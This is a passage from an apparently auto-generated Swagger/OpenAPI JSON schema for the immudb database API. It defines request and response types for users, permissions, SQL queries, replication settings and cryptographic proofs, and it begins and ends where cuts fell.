unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" }, "protobufNullValue": { "type": "string", "enum": [ "NULL_VALUE" ], "default": "NULL_VALUE", "description": "`NullValue` is a singleton enumeration to represent the null value for the\n`Value` type union.\n\n The JSON representation for `NullValue` is JSON `null`.\n\n - NULL_VALUE: Null value." }, "runtimeError": { "type": "object", "properties": { "error": { "type": "string" }, "code": { "type": "integer", "format": "int32" }, "message": { "type": "string" }, "details": { "type": "array", "items": { "$ref": "#/definitions/protobufAny" } } } }, "runtimeStreamError": { "type": "object", "properties": { "grpc_code": { "type": "integer", "format": "int32" }, "http_code": { "type": "integer", "format": "int32" }, "message": { "type": "string" }, "http_status": { "type": "string" }, "details": { "type": "array", "items": { "$ref": "#/definitions/protobufAny" } } } }, "schemaAHTNullableSettings": { "type": "object", "properties": { "syncThreshold": { "$ref": "#/definitions/schemaNullableUint32", "title": "Number of new leaves in the tree between synchronous flush to disk" }, "writeBufferSize": { "$ref": "#/definitions/schemaNullableUint32", "title": "Size of the in-memory write buffer" } } }, "schemaChangePasswordRequest": { "type": "object", "properties": { "user": { "type": "string", "format": "byte", "title": "Username" }, "oldPassword": { "type": "string", "format": "byte", "title": "Old password" }, "newPassword": { "type": "string", "format": "byte", "title": "New password" } } }, "schemaChangePermissionRequest": { "type": "object", "properties": { "action": { "$ref": "#/definitions/schemaPermissionAction", "title": "Action to perform" }, "username": { "type": "string", "title": "Name of the user to update" }, "database": { "type": "string", "title": "Name of the database" }, "permission": { "type": "integer", "format": "int64", "title": "Permission to grant / revoke: 1 - read only, 2 - read/write, 254 - admin" } } }, "schemaChangeSQLPrivilegesRequest": { "type": "object", "properties": { "action": { "$ref": "#/definitions/schemaPermissionAction", "title": "Action to perform" }, "username": { "type": "string", "title": "Name of the user to update" }, "database": { "type": "string", "title": "Name of the database" }, "privileges": { "type": "array", "items": { "type": "string" }, "title": "SQL privileges: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER" } } }, "schemaChangeSQLPrivilegesResponse": { "type": "object" }, "schemaChunk": { "type": "object", "properties": { "content": { "type": "string", "format": "byte" }, "metadata": { "type": "object", "additionalProperties": { "type": "string", "format": "byte" } } } }, "schemaColumn": { "type": "object", "properties": { "name": { "type": "string", "title": "Column name" }, "type": { "type": "string", "title": "Column type" } } }, "schemaCommittedSQLTx": { "type": "object", "properties": { "header": { "$ref": "#/definitions/schemaTxHeader", "title": "Transaction header" }, "updatedRows": { "type": "integer", "format": "int64", "title": "Number of updated rows" }, "lastInsertedPKs": { "type": "object", "additionalProperties": { "$ref": "#/definitions/schemaSQLValue" }, "title": "The value of last inserted auto_increment primary key (mapped by table name)" }, "firstInsertedPKs": { "type": "object", "additionalProperties": { "$ref": "#/definitions/schemaSQLValue" }, "title": "The value of first inserted auto_increment primary key (mapped by table name)" } } }, "schemaCreateDatabaseRequest": { "type": "object", "properties": { "name": { "type": "string", "title": "Database name" }, "settings": { "$ref": "#/definitions/schemaDatabaseNullableSettings", "title": "Database settings" }, "ifNotExists": { "type": "boolean", "title": "If set to true, do not fail if the database already exists" } } }, "schemaCreateDatabaseResponse": { "type": "object", "properties": { "name": { "type": "string", "title": "Database name" }, "settings": { "$ref": "#/definitions/schemaDatabaseNullableSettings", "title": "Current database settings" }, "alreadyExisted": { "type": "boolean", "title": "Set to true if given database already existed" } } }, "schemaCreateUserRequest": { "type": "object", "properties": { "user": { "type": "string", "format": "byte", "title": "Username" }, "password": { "type": "string", "format": "byte", "title": "Login password" }, "permission": { "type": "integer", "format": "int64", "title": "Permission, 1 - read permission, 2 - read+write permission, 254 - admin" }, "database": { "type": "string", "title": "Database name" } } }, "schemaDatabase": { "type": "object", "properties": { "databaseName": { "type": "string", "title": "Name of the database" } } }, "schemaDatabaseHealthResponse": { "type": "object", "properties": { "pendingRequests": { "type": "integer", "format": "int64", "title": "Number of requests currently being executed" }, "lastRequestCompletedAt": { "type": "string", "format": "int64", "title": "Timestamp at which the last request was completed" } } }, "schemaDatabaseInfo": { "type": "object", "properties": { "name": { "type": "string", "title": "Database name" }, "settings": { "$ref": "#/definitions/schemaDatabaseNullableSettings", "title": "Current database settings" }, "loaded": { "type": "boolean", "title": "If true, this database is currently loaded into memory" }, "diskSize": { "type": "string", "format": "uint64", "title": "database disk size" }, "numTransactions": { "type": "string", "format": "uint64", "title": "total number of transactions" }, "created_at": { "type": "string", "format": "uint64", "title": "the time when the db was created" }, "created_by": { "type": "string", "title": "the user who created the database" } } }, "schemaDatabaseListRequestV2": { "type": "object" }, "schemaDatabaseListResponse": { "type": "object", "properties": { "databases": { "type": "array", "items": { "$ref": "#/definitions/schemaDatabase" }, "title": "Database list" } } }, "schemaDatabaseListResponseV2": { "type": "object", "properties": { "databases": { "type": "array", "items": { "$ref": "#/definitions/schemaDatabaseInfo" }, "title": "Database list with current database settings" } } }, "schemaDatabaseNullableSettings": { "type": "object", "properties": { "replicationSettings": { "$ref": "#/definitions/schemaReplicationNullableSettings", "title": "Replication settings" }, "fileSize": { "$ref": "#/definitions/schemaNullableUint32", "title": "Max filesize on disk" }, "maxKeyLen": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum length of keys" }, "maxValueLen": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum length of values" }, "maxTxEntries": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum number of entries in a single transaction" }, "excludeCommitTime": { "$ref": "#/definitions/schemaNullableBool", "title": "If set to true, do not include commit timestamp in transaction headers" }, "maxConcurrency": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum number of simultaneous commits prepared for write" }, "maxIOConcurrency": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum number of simultaneous IO writes" }, "txLogCacheSize": { "$ref": "#/definitions/schemaNullableUint32", "title": "Size of the cache for transaction logs" }, "vLogMaxOpenedFiles": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum number of simultaneous value files opened" }, "txLogMaxOpenedFiles": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum number of simultaneous transaction log files opened" }, "commitLogMaxOpenedFiles": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum number of simultaneous commit log files opened" }, "indexSettings": { "$ref": "#/definitions/schemaIndexNullableSettings", "title": "Index settings" }, "writeTxHeaderVersion": { "$ref": "#/definitions/schemaNullableUint32", "title": "Version of transaction header to use (limits available features)" }, "autoload": { "$ref": "#/definitions/schemaNullableBool", "title": "If set to true, automatically load the database when starting immudb (true by default)" }, "readTxPoolSize": { "$ref": "#/definitions/schemaNullableUint32", "title": "Size of the pool of read buffers" }, "syncFrequency": { "$ref": "#/definitions/schemaNullableMilliseconds", "title": "Fsync frequency during commit process" }, "writeBufferSize": { "$ref": "#/definitions/schemaNullableUint32", "title": "Size of the in-memory buffer for write operations" }, "ahtSettings": { "$ref": "#/definitions/schemaAHTNullableSettings", "title": "Settings of Appendable Hash Tree" }, "maxActiveTransactions": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum number of pre-committed transactions" }, "mvccReadSetLimit": { "$ref": "#/definitions/schemaNullableUint32", "title": "Limit the number of read entries per transaction" }, "vLogCacheSize": { "$ref": "#/definitions/schemaNullableUint32", "title": "Size of the cache for value logs" }, "truncationSettings": { "$ref": "#/definitions/schemaTruncationNullableSettings", "title": "Truncation settings" }, "embeddedValues": { "$ref": "#/definitions/schemaNullableBool", "title": "If set to true, values are stored together with the transaction header (true by default)" }, "preallocFiles": { "$ref": "#/definitions/schemaNullableBool", "title": "Enable file preallocation" } } }, "schemaDatabaseSettings": { "type": "object", "properties": { "databaseName": { "type": "string", "title": "Name of the database" }, "replica": { "type": "boolean", "title": "If set to true, this database is replicating another database" }, "primaryDatabase": { "type": "string", "title": "Name of the database to replicate" }, "primaryHost": { "type": "string", "title": "Hostname of the immudb instance with database to replicate" }, "primaryPort": { "type": "integer", "format": "int64", "title": "Port of the immudb instance with database to replicate" }, "primaryUsername": { "type": "string", "title": "Username of the user with read access of the database to replicate" }, "primaryPassword": { "type": "string", "title": "Password of the user with read access of the database to replicate" }, "fileSize": { "type": "integer", "format": "int64", "title": "Size of files stored on disk" }, "maxKeyLen": { "type": "integer", "format": "int64", "title": "Maximum length of keys" }, "maxValueLen": { "type": "integer", "format": "int64", "title": "Maximum length of values" }, "maxTxEntries": { "type": "integer", "format": "int64", "title": "Maximum number of entries in a single transaction" }, "excludeCommitTime": { "type": "boolean", "title": "If set to true, do not include commit timestamp in transaction headers" } } }, "schemaDatabaseSettingsRequest": { "type": "object" }, "schemaDatabaseSettingsResponse": { "type": "object", "properties": { "database": { "type": "string", "title": "Database name" }, "settings": { "$ref": "#/definitions/schemaDatabaseNullableSettings", "title": "Database settings" } } }, "schemaDeleteDatabaseRequest": { "type": "object", "properties": { "database": { "type": "string", "title": "Database name" } } }, "schemaDeleteDatabaseResponse": { "type": "object", "properties": { "database": { "type": "string", "title": "Database name" } } }, "schemaDeleteKeysRequest": { "type": "object", "properties": { "keys": { "type": "array", "items": { "type": "string", "format": "byte" }, "title": "List of keys to delete logically" }, "sinceTx": { "type": "string", "format": "uint64", "title": "If 0, wait for index to be up-to-date,\nIf \u003e 0, wait for at least sinceTx transaction to be indexed" }, "noWait": { "type": "boolean", "title": "If set to true, do not wait for the indexer to index this operation" } } }, "schemaDualProof": { "type": "object", "properties": { "sourceTxHeader": { "$ref": "#/definitions/schemaTxHeader", "title": "Header of the source (earlier) transaction" }, "targetTxHeader": { "$ref": "#/definitions/schemaTxHeader", "title": "Header of the target (latter) transaction" }, "inclusionProof": { "type": "array", "items": { "type": "string", "format": "byte" }, "title": "Inclusion proof of the source transaction hash in the main Merkle Tree" }, "consistencyProof": { "type": "array", "items": { "type": "string", "format": "byte" }, "title": "Consistency proof between Merkle Trees in the source and target transactions" }, "targetBlTxAlh": { "type": "string", "format": "byte", "title": "Accumulative hash (Alh) of the last transaction that's part of the target Merkle Tree" }, "lastInclusionProof": { "type": "array", "items": { "type": "string", "format": "byte" }, "title": "Inclusion proof of the targetBlTxAlh in the target Merkle Tree" }, "linearProof": { "$ref": "#/definitions/schemaLinearProof", "title": "Linear proof starting from targetBlTxAlh to the final state value" }, "LinearAdvanceProof": { "$ref": "#/definitions/schemaLinearAdvanceProof", "title": "Proof of consistency between some part of older linear chain and newer Merkle Tree" } }, "title": "DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs" }, "schemaEntries": { "type": "object", "properties": { "entries": { "type": "array", "items": { "$ref": "#/definitions/schemaEntry" }, "title": "List of entries" } } }, "schemaEntriesSpec": { "type": "object", "properties": { "kvEntriesSpec": { "$ref": "#/definitions/schemaEntryTypeSpec", "title": "Specification for parsing KV entries" }, "zEntriesSpec": { "$ref": "#/definitions/schemaEntryTypeSpec", "title": "Specification for parsing sorted set entries" }, "sqlEntriesSpec": { "$ref": "#/definitions/schemaEntryTypeSpec", "title": "Specification for parsing SQL entries" } } }, "schemaEntry": { "type": "object", "properties": { "tx": { "type": "string", "format": "uint64", "title": "Transaction id at which the target value was set (i.e. not the reference transaction id)" }, "key": { "type": "string", "format": "byte", "title": "Key of the target value (i.e. not the reference entry)" }, "value": { "type": "string", "format": "byte", "title": "Value" }, "referencedBy": { "$ref": "#/definitions/schemaReference", "title": "If the request was for a reference, this field will keep information about the reference entry" }, "metadata": { "$ref": "#/definitions/schemaKVMetadata", "title": "Metadata of the target entry (i.e. not the reference entry)" }, "expired": { "type": "boolean", "title": "If set to true, this entry has expired and the value is not retrieved" }, "revision": { "type": "string", "format": "uint64", "title": "Key's revision, in case of GetAt it will be 0" } } }, "schemaEntryCount": { "type": "object", "properties": { "count": { "type": "string", "format": "uint64" } } }, "schemaEntryTypeAction": { "type": "string", "enum": [ "EXCLUDE", "ONLY_DIGEST", "RAW_VALUE", "RESOLVE" ], "default": "EXCLUDE", "title": "- EXCLUDE: Exclude entries from the result\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\n - RAW_VALUE: Provide keys and values in raw form\n - RESOLVE: Provide parsed keys and values and resolve values if needed" }, "schemaEntryTypeSpec": { "type": "object", "properties": { "action": { "$ref": "#/definitions/schemaEntryTypeAction", "title": "Action to perform on entries" } } }, "schemaExecAllRequest": { "type": "object", "properties": { "Operations": { "type": "array", "items": { "$ref": "#/definitions/schemaOp" }, "title": "List of operations to perform" }, "noWait": { "type": "boolean", "title": "If set to true, do not wait for indexing to process this transaction" }, "preconditions": { "type": "array", "items": { "$ref": "#/definitions/schemaPrecondition" }, "title": "Preconditions to check" } } }, "schemaExpiration": { "type": "object", "properties": { "expiresAt": { "type": "string", "format": "int64", "title": "Entry expiration time (unix timestamp in seconds)" } } }, "schemaFlushIndexResponse": { "type": "object", "properties": { "database": { "type": "string", "title": "Database name" } } }, "schemaHealthResponse": { "type": "object", "properties": { "status": { "type": "boolean", "title": "If true, server considers itself to be healthy" }, "version": { "type": "string", "title": "The version of the server instance" } } }, "schemaHistoryRequest": { "type": "object", "properties": { "key": { "type": "string", "format": "byte", "title": "Name of the key to query for the history" }, "offset": { "type": "string", "format": "uint64", "title": "Specify the initial entry to be returned by excluding the initial set of\nentries" }, "limit": { "type": "integer", "format": "int32", "title": "Maximum number of entries to return" }, "desc": { "type": "boolean", "title": "If true, search in descending order" }, "sinceTx": { "type": "string", "format": "uint64", "title": "If \u003e 0, do not wait for the indexer to index all entries, only require\nentries up to sinceTx to be indexed" } } }, "schemaImmutableState": { "type": "object", "properties": { "db": { "type": "string", "title": "The db name" }, "txId": { "type": "string", "format": "uint64", "title": "Id of the most recent transaction" }, "txHash": { "type": "string", "format": "byte", "title": "State of the most recent transaction" }, "signature": { "$ref": "#/definitions/schemaSignature", "title": "Signature of the hash" }, "precommittedTxId": { "type": "string", "format": "uint64", "title": "Id of the most recent precommitted transaction" }, "precommittedTxHash": { "type": "string", "format": "byte", "title": "State of the most recent precommitted transaction" } } }, "schemaInclusionProof": { "type": "object", "properties": { "leaf": { "type": "integer", "format": "int32", "title": "Index of the leaf for which the proof is generated" }, "width": { "type": "integer", "format": "int32", "title": "Width of the tree at the leaf level" }, "terms": { "type": "array", "items": { "type": "string", "format": "byte" }, "title": "Proof terms (selected hashes from the tree)" } } }, "schemaIndexNullableSettings": { "type": "object", "properties": { "flushThreshold": { "$ref": "#/definitions/schemaNullableUint32", "title": "Number of new index entries between disk flushes" }, "syncThreshold": { "$ref": "#/definitions/schemaNullableUint32", "title": "Number of new index entries between disk flushes with file sync" }, "cacheSize": { "$ref": "#/definitions/schemaNullableUint32", "title": "Size of the Btree node cache in bytes" }, "maxNodeSize": { "$ref": "#/definitions/schemaNullableUint32", "title": "Max size of a single Btree node in bytes" }, "maxActiveSnapshots": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum number of active btree snapshots" }, "renewSnapRootAfter": { "$ref": "#/definitions/schemaNullableUint64", "title": "Time in milliseconds between the most recent DB snapshot is automatically renewed" }, "compactionThld": { "$ref": "#/definitions/schemaNullableUint32", "title": "Minimum number of updates entries in the btree to allow for full compaction" }, "delayDuringCompaction": { "$ref": "#/definitions/schemaNullableUint32", "title": "Additional delay added during indexing when full compaction is in progress" }, "nodesLogMaxOpenedFiles": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum number of simultaneously opened nodes files" }, "historyLogMaxOpenedFiles": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum number of simultaneously opened node history files" }, "commitLogMaxOpenedFiles": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum number of simultaneously opened commit log files" }, "flushBufferSize": { "$ref": "#/definitions/schemaNullableUint32", "title": "Size of the in-memory flush buffer (in bytes)" }, "cleanupPercentage": { "$ref": "#/definitions/schemaNullableFloat", "title": "Percentage of node files cleaned up during each flush" }, "maxBulkSize": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum number of transactions indexed together" }, "bulkPreparationTimeout": { "$ref": "#/definitions/schemaNullableMilliseconds", "title": "Maximum time waiting for more transactions to be committed and included into the same bulk" } } }, "schemaKVMetadata": { "type": "object", "properties": { "deleted": { "type": "boolean", "title": "True if this entry denotes a logical deletion" }, "expiration": { "$ref": "#/definitions/schemaExpiration", "title": "Entry expiration information" }, "nonIndexable": { "type": "boolean", "title": "If set to true, this entry will not be indexed and will only be accessed through GetAt calls" } } }, "schemaKeyListRequest": { "type": "object", "properties": { "keys": { "type": "array", "items": { "type": "string", "format": "byte" }, "title": "List of keys to query for" }, "sinceTx": { "type": "string", "format": "uint64", "title": "If 0, wait for index to be up-to-date,\nIf \u003e 0, wait for at least sinceTx transaction to be indexed" } } }, "schemaKeyRequest": { "type": "object", "properties": { "key": { "type": "string", "format": "byte", "title": "Key to query for" }, "atTx": { "type": "string", "format": "uint64", "title": "If \u003e 0, query for the value exactly at given transaction" }, "sinceTx": { "type": "string", "format": "uint64", "title": "If 0 (and noWait=false), wait for the index to be up-to-date,\nIf \u003e 0 (and noWait=false), wait for at lest the sinceTx transaction to be indexed" }, "noWait": { "type": "boolean", "title": "If set to true - do not wait for any indexing update considering only the currently indexed state" }, "atRevision": { "type": "string", "format": "int64", "title": "If \u003e 0, get the nth version of the value, 1 being the first version, 2 being the second and so on\nIf \u003c 0, get the historical nth value of the key, -1 being the previous version, -2 being the one before and so on" } } }, "schemaKeyValue": { "type": "object", "properties": { "key": { "type": "string", "format": "byte" }, "value": { "type": "string", "format": "byte" }, "metadata": { "$ref": "#/definitions/schemaKVMetadata" } } }, "schemaLinearAdvanceProof": { "type": "object", "properties": { "linearProofTerms": { "type": "array", "items": { "type": "string", "format": "byte" }, "title": "terms for the linear chain" }, "inclusionProofs": { "type": "array", "items": { "$ref": "#/definitions/schemaInclusionProof" }, "title": "inclusion proofs for steps on the linear chain" } }, "title": "LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain\nand the new Merkle Tree" }, "schemaLinearProof": { "type": "object", "properties": { "sourceTxId": { "type": "string", "format": "uint64", "title": "Starting transaction of the proof" }, "TargetTxId": { "type": "string", "format": "uint64", "title": "End transaction of the proof" }, "terms": { "type": "array", "items": { "type": "string", "format": "byte" }, "title": "List of terms (inner hashes of transaction entries)" } }, "title": "LinearProof contains the linear part of the proof (outside the main Merkle Tree)" }, "schemaLoadDatabaseRequest": { "type": "object", "properties": { "database": { "type": "string" } } }, "schemaLoadDatabaseResponse": { "type": "object", "properties": { "database": { "type": "string", "title": "Database name" } } }, "schemaLoginRequest": { "type": "object", "properties": { "user": { "type": "string", "format": "byte", "title": "Username" }, "password": { "type": "string", "format": "byte", "title": "User's password" } } }, "schemaLoginResponse": { "type": "object", "properties": { "token": { "type": "string", "title": "Deprecated: use session-based authentication" }, "warning": { "type": "string", "format": "byte", "title": "Optional: additional warning message sent to the user (e.g. request to change the password)" } } }, "schemaNamedParam": { "type": "object", "properties": { "name": { "type": "string", "title": "Parameter name" }, "value": { "$ref": "#/definitions/schemaSQLValue", "title": "Parameter value" } } }, "schemaNewTxResponse": { "type": "object", "properties": { "transactionID": { "type": "string", "title": "Internal transaction ID" } } }, "schemaNullableBool": { "type": "object", "properties": { "value": { "type": "boolean" } } }, "schemaNullableFloat": { "type": "object", "properties": { "value": { "type": "number", "format": "float" } } }, "schemaNullableMilliseconds": { "type": "object", "properties": { "value": { "type": "string", "format": "int64" } } }, "schemaNullableString": { "type": "object", "properties": { "value": { "type": "string" } } }, "schemaNullableUint32": { "type": "object", "properties": { "value": { "type": "integer", "format": "int64" } } }, "schemaNullableUint64": { "type": "object", "properties": { "value": { "type": "string", "format": "uint64" } } }, "schemaOp": { "type": "object", "properties": { "kv": { "$ref": "#/definitions/schemaKeyValue", "title": "Modify / add simple KV value" }, "zAdd": { "$ref": "#/definitions/schemaZAddRequest", "title": "Modify / add sorted set entry" }, "ref": { "$ref": "#/definitions/schemaReferenceRequest", "title": "Modify / add reference" } } }, "schemaOpenSessionResponse": { "type": "object", "properties": { "sessionID": { "type": "string", "title": "Id of the new session" }, "serverUUID": { "type": "string", "title": "UUID of the server" } } }, "schemaPermission": { "type": "object", "properties": { "database": { "type": "string", "title": "Database name" }, "permission": { "type": "integer", "format": "int64", "title": "Permission, 1 - read permission, 2 - read+write permission, 254 - admin, 255 - sysadmin" } } }, "schemaPermissionAction": { "type": "string", "enum": [ "GRANT", "REVOKE" ], "default": "GRANT", "title": "- GRANT: Grant permission\n - REVOKE: Revoke permission" }, "schemaPrecondition": { "type": "object", "properties": { "keyMustExist": { "$ref": "#/definitions/PreconditionKeyMustExistPrecondition" }, "keyMustNotExist": { "$ref": "#/definitions/PreconditionKeyMustNotExistPrecondition" }, "keyNotModifiedAfterTX": { "$ref": "#/definitions/PreconditionKeyNotModifiedAfterTXPrecondition" } } }, "schemaReference": { "type": "object", "properties": { "tx": { "type": "string", "format": "uint64", "title": "Transaction if when the reference key was set" }, "key": { "type": "string", "format": "byte", "title": "Reference key" }, "atTx": { "type": "string", "format": "uint64", "title": "At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference" }, "metadata": { "$ref": "#/definitions/schemaKVMetadata", "title": "Metadata of the reference entry" }, "revision": { "type": "string", "format": "uint64", "title": "Revision of the reference entry" } } }, "schemaReferenceRequest": { "type": "object", "properties": { "key": { "type": "string", "format": "byte", "title": "Key for the reference" }, "referencedKey": { "type": "string", "format": "byte", "title": "Key to be referenced" }, "atTx": { "type": "string", "format": "uint64", "title": "If boundRef == true, id of transaction to bind with the reference" }, "boundRef": { "type": "boolean", "title": "If true, bind the reference to particular transaction,\nif false, use the most recent value of the key" }, "noWait": { "type": "boolean", "title": "If true, do not wait for the indexer to index this write operation" }, "preconditions": { "type": "array", "items": { "$ref": "#/definitions/schemaPrecondition" }, "title": "Preconditions to be met to perform the write" } } }, "schemaReplicaState": { "type": "object", "properties": { "UUID": { "type": "string" }, "committedTxID": { "type": "string", "format": "uint64" }, "committedAlh": { "type": "string", "format": "byte" }, "precommittedTxID": { "type": "string", "format": "uint64" }, "precommittedAlh": { "type": "string", "format": "byte" } } }, "schemaReplicationNullableSettings": { "type": "object", "properties": { "replica": { "$ref": "#/definitions/schemaNullableBool", "title": "If set to true, this database is replicating another database" }, "primaryDatabase": { "$ref": "#/definitions/schemaNullableString", "title": "Name of the database to replicate" }, "primaryHost": { "$ref": "#/definitions/schemaNullableString", "title": "Hostname of the immudb instance with database to replicate" }, "primaryPort": { "$ref": "#/definitions/schemaNullableUint32", "title": "Port of the immudb instance with database to replicate" }, "primaryUsername": { "$ref": "#/definitions/schemaNullableString", "title": "Username of the user with read access of the database to replicate" }, "primaryPassword": { "$ref": "#/definitions/schemaNullableString", "title": "Password of the user with read access of the database to replicate" }, "syncReplication": { "$ref": "#/definitions/schemaNullableBool", "title": "Enable synchronous replication" }, "syncAcks": { "$ref": "#/definitions/schemaNullableUint32", "title": "Number of confirmations from synchronous replicas required to commit a transaction" }, "prefetchTxBufferSize": { "$ref": "#/definitions/schemaNullableUint32", "title": "Maximum number of prefetched transactions" }, "replicationCommitConcurrency": { "$ref": "#/definitions/schemaNullableUint32", "title": "Number of concurrent replications" }, "allowTxDiscarding": { "$ref": "#/definitions/schemaNullableBool", "title": "Allow precommitted transactions to be discarded if the replica diverges from the primary" }, "skipIntegrityCheck": { "$ref": "#/definitions/schemaNullableBool", "title": "Disable integrity check when reading data during replication" }, "waitForIndexing": { "$ref": "#/definitions/schemaNullableBool", "title": "Wait for indexing to be up to date during replication" } } }, "schemaRow": { "type": "object", "properties": { "columns": { "type": "array", "items": { "type": "string" }, "title": "Column names" }, "values": { "type": "array", "items": { "$ref": "#/definitions/schemaSQLValue" }, "title": "Column values" } } }, "schemaSQLEntry": { "type": "object", "properties": { "tx": { "type": "string", "format": "uint64", "title": "Id of the transaction when the row was added / modified" }, "key": { "type": "string", "format": "byte", "title": "Raw key of the row" }, "value": { "type": "string", "format": "byte", "title": "Raw value of the row" }, "metadata": { "$ref": "#/definitions/schemaKVMetadata", "title": "Metadata of the raw value" } } }, "schemaSQLExecRequest": { "type": "object", "properties": { "sql": { "type": "string", "title": "SQL query" }, "params": { "type": "array", "items": { "$ref": "#/definitions/schemaNamedParam" }, "title": "Named query parameters" }, "noWait": { "type": "boolean", "title": "If true, do not wait for the indexer to index written changes" } } }, "schemaSQLExecResult": { "type": "object", "properties": { "txs": { "type": "array", "items": { "$ref": "#/definitions/schemaCommittedSQLTx" }, "title": "List of committed transactions as a result of the exec operation" }, "ongoingTx": { "type": "boolean", "title": "If true, there's an ongoing transaction after exec completes" } } }, "schemaSQLGetRequest": { "type": "object", "properties": { "table": { "type": "string", "title": "Table name" }, "pkValues": { "type": "array", "items": { "$ref": "#/definitions/schemaSQLValue" }, "title": "Values of the primary key" }, "atTx": { "type": "string", "format": "uint64", "title": "Id of the transaction at which the row was added / modified" }, "sinceTx": { "type": "string", "format": "uint64", "title": "If \u003e 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed" } } }, "schemaSQLPrivilege": { "type": "object", "properties": { "database": { "type": "string", "title": "Database name" }, "privilege": { "type": "string", "title": "Privilege: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER" } } }, "schemaSQLQueryRequest": { "type": "object", "properties": { "sql": { "type": "string", "title": "SQL query" }, "params": { "type": "array", "items": { "$ref": "#/definitions/schemaNamedParam" }, "title": "Named query parameters" }, "reuseSnapshot": { "type": "boolean", "title": "If true, reuse previously opened snapshot" }, "acceptStream": { "type": "boolean", "title": "Wheter the client accepts a streaming response" } } }, "schemaSQLQueryResult": { "type": "object", "properties": { "columns": { "type": "array", "items": { "$ref": "#/definitions/schemaColumn" }, "title": "Result columns description" }, "rows": { "type": "array", "items": { "$ref": "#/definitions/schemaRow" }, "title": "Result rows" } } }, "schemaSQLValue": { "type": "object", "properties": { "null": { "type": "string" }, "n": { "type": "string", "format": "int64" }, "s": { "type": "string" }, "b": { "type": "boolean" }, "bs": { "type": "string", "format": "byte" }, "ts": { "type": "string", "format": "int64" }, "f": { "type": "number", "format": "double" } } }, "schemaScanRequest": { "type": "object", "properties": { "seekKey": { "type": "string", "format": "byte", "title": "If not empty, continue scan at (when inclusiveSeek == true)\nor after (when inclusiveSeek == false) that key" }, "endKey": { "type": "string", "format": "byte", "title": "stop at (when inclusiveEnd == true)\nor before (when inclusiveEnd == false) that key" }, "prefix": { "type": "string", "format": "byte", "title": "search for entries with this prefix only" }, "desc": { "type": "boolean", "title": "If set to true, sort items in descending order" }, "limit": { "type": "string", "format": "uint64", "title": "maximum number of entries to get, if not specified, the default value is used" }, "sinceTx": { "type": "string", "format": "uint64", "title": "If non-zero, only require transactions up to this transaction to be\nindexed, newer transaction may still be pending" }, "noWait": { "type": "boolean", "title": "Deprecated: If set to true, do not wait for indexing to be done before finishing this call" }, "inclusiveSeek": { "type": "boolean", "title": "If set to true, results will include seekKey" }, "inclusiveEnd": { "type": "boolean", "title": "If set to true, results will include endKey if needed" }, "offset": { "type": "string", "format": "uint64", "title": "Specify the initial entry to be returned by excluding the initial set of entries" } } }, "schemaScore": { "type": "object", "properties": { "score": { "type": "number", "format": "double", "title": "Entry's score value" } } }, "schemaServerInfoResponse": { "type": "object", "properties": { "version": { "type": "string", "description": "The version of the server instance." }, "startedAt": { "type": "string", "format": "int64", "description": "Unix timestamp (seconds) indicating when the server process has been started." }, "numTransactions": { "type": "string", "format": "int64", "description": "Total number of transactions across all databases." }, "numDatabases": { "type": "integer", "format": "int32", "description": "Total number of databases present." }, "databasesDiskSize": { "type": "string", "format": "int64", "description": "Total disk size used by all databases." } }, "description": "ServerInfoResponse contains information about the server instance." }, "schemaSetActiveUserRequest": { "type": "object", "properties": { "active": { "type": "boolean", "title": "If true, the user is active" }, "username": { "type": "string", "title": "Name of the user to activate / deactivate" } } }, "schemaSetRequest": { "type": "object", "properties": { "KVs": { "type": "array", "items": { "$ref": "#/definitions/schemaKeyValue" }, "title": "List of KV entries to set" }, "noWait": { "type": "boolean", "title": "If set to true, do not wait for indexer to index ne entries" }, "preconditions": { "type": "array", "items": { "$ref": "#/definitions/schemaPrecondition" }, "title": "Preconditions to be met to perform the write" } } }, "schemaSignature": { "type": "object", "properties": { "publicKey": { "type": "string", "format": 